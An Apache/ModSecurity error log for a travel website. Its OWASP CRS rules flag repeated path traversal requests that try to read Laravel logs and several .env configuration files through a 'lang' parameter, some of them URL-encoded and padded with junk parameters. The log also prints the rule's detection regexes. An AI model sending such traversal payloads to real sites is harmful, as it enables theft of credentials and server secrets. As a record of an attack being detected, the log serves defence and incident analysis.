[Fri Jul 17 08:55:07.781170 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../storage/logs/laravel.log&token=jmeevdyqgz_g-gk00n2vrppevcenfbkoszc8w5w3vecaltjkympoltex-tzsy0y2iy33nldibekwzqw-7koy1imj9tamgxjys-stdsfbmm4hswpxf_kpjg6wpdzv9wmbf5lufhjndusnmic-mv6vkw67kmgkjjd1p_cnpbcz1h8yicylqarhocrsji3rgwrdmyc2ws27cvyhsaarykwi7dc-8escqil0iwmj48fqe7nhbiwit2ozwfrsymv26u-0qcr82e00fgssvhnqa0imkz_a&ts=6gcdfkgdov7vb6gwmp56bw43vpjfuzlinvdiqhtuwco4mmleosditko35qepvdjrmkqoeiihwpf53cwuv565a43bqanucwdeb7atawzhjoumaqo3ufr34h7tzqucwj7ccokylnvr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ggAAABE"]
[Fri Jul 17 08:55:07.781190 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ggAAABE"]
[Fri Jul 17 08:55:07.781210 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ggAAABE"]
[Fri Jul 17 08:55:07.782407 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ggAAABE"]
[Fri Jul 17 08:55:07.782568 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.782910 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6ggAAABE"]
[Fri Jul 17 08:55:07.786971 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiAAAABk"]
[Fri Jul 17 08:55:07.787014 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiAAAABk"]
[Fri Jul 17 08:55:07.788263 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiAAAABk"]
[Fri Jul 17 08:55:07.788456 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.788940 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkw7FYe46zHK_jL3PiAAAABk"]
[Fri Jul 17 08:55:07.795854 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMAAAAA0"]
[Fri Jul 17 08:55:07.795914 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMAAAAA0"]
[Fri Jul 17 08:55:07.796177 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?lang=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&cb=ISjUhFxCKqW5NfOJrUU0u9zBXZmok_xuhZ1-6-ujlV3RZyyO937AlLFZFnRVRHK9Q7AD2r8UPMeqa9dpQ68m6Lxb67gLRNcNUPcy7qUp7jLfGp5R2zdsa7ASDTc86MeUUO2fSLjEvH4_zv1y9AGm-8WhY-XTE8OIiQnGfHkpoA3Rm5DBNSmZxdB52tp2S1E99jkZR5DkAUyL53UCbMlHjmyt0E4DV-LjHJXd2zkD03UvVddv2xsC9GRfKRjPk_8OXMT6hYAvhCJ5Vw1Fx9HEnjuN&debug=AN6NDSWLMFVJLDTDHCZQD2A2I2KO52Q7C2AXFNXJILZZI5MIZXB3TKGG2AONWDWFBHYSMQL4WIYDQM2GMZHCOOAX46FFOZNF722UV6YFCTRTZDNOEPF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-AAAACM"]
[Fri Jul 17 08:55:07.796215 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-AAAACM"]
[Fri Jul 17 08:55:07.796270 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../../storage/logs/laravel.log&cb=ISjUhFxCKqW5NfOJrUU0u9zBXZmok_xuhZ1-6-ujlV3RZyyO937AlLFZFnRVRHK9Q7AD2r8UPMeqa9dpQ68m6Lxb67gLRNcNUPcy7qUp7jLfGp5R2zdsa7ASDTc86MeUUO2fSLjEvH4_zv1y9AGm-8WhY-XTE8OIiQnGfHkpoA3Rm5DBNSmZxdB52tp2S1E99jkZR5DkAUyL53UCbMlHjmyt0E4DV-LjHJXd2zkD03UvVddv2xsC9GRfKRjPk_8OXMT6hYAvhCJ5Vw1Fx9HEnjuN&debug=AN6NDSWLMFVJLDTDHCZQD2A2I2KO52Q7C2AXFNXJILZZI5MIZXB3TKGG2AONWDWFBHYSMQL4WIYDQM2GMZHCOOAX46FFOZNF722UV6YFCTRTZDNOEPFYOBNATYF3MWNRNLDP7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-AAAACM"]
[Fri Jul 17 08:55:07.796315 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../../storage/logs/laravel.log&cb=isjuhfxckqw5nfojruu0u9zbxzmok_xuhz1-6-ujlv3rzyyo937allfzfnrvrhk9q7ad2r8upmeqa9dpq68m6lxb67glrncnupcy7qup7jlfgp5r2zdsa7asdtc86meuuo2fsljevh4_zv1y9agm-8why-xte8oiiqngfhkpoa3rm5dbnsmzxdb52tp2s1e99jkzr5dkauyl53ucbmlhjmyt0e4dv-ljhjxd2zkd03uvvddv2xsc9grfkrjpk_8oxmt6hyavhcj5vw1fx9henjun&debug=an6ndswlmfvjldtdhczqd2a2i2ko52q7c2axfnxjilzzi5mizxb3tkgg2aonwdwfbhysmql4wiydqm2gmzhcooax46ffoznf722uv6yfctrtzdnoepfyobnatyf3mwnrnldp7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-AAAACM"]
[Fri Jul 17 08:55:07.796340 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-AAAACM"]
[Fri Jul 17 08:55:07.796367 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-AAAACM"]
[Fri Jul 17 08:55:07.797461 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-AAAACM"]
[Fri Jul 17 08:55:07.797587 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMAAAAA0"]
[Fri Jul 17 08:55:07.797767 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.798181 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlMAAAAA0"]
[Fri Jul 17 08:55:07.799416 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.799740 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt2-AAAACM"]
[Fri Jul 17 08:55:07.805012 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95sgAAAAw"]
[Fri Jul 17 08:55:07.805102 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95sgAAAAw"]
[Fri Jul 17 08:55:07.806855 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95sgAAAAw"]
[Fri Jul 17 08:55:07.807023 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.807405 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95sgAAAAw"]
[Fri Jul 17 08:55:07.808945 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gwAAABE"]
[Fri Jul 17 08:55:07.808995 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gwAAABE"]
[Fri Jul 17 08:55:07.810729 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gwAAABE"]
[Fri Jul 17 08:55:07.811148 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.812076 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6gwAAABE"]
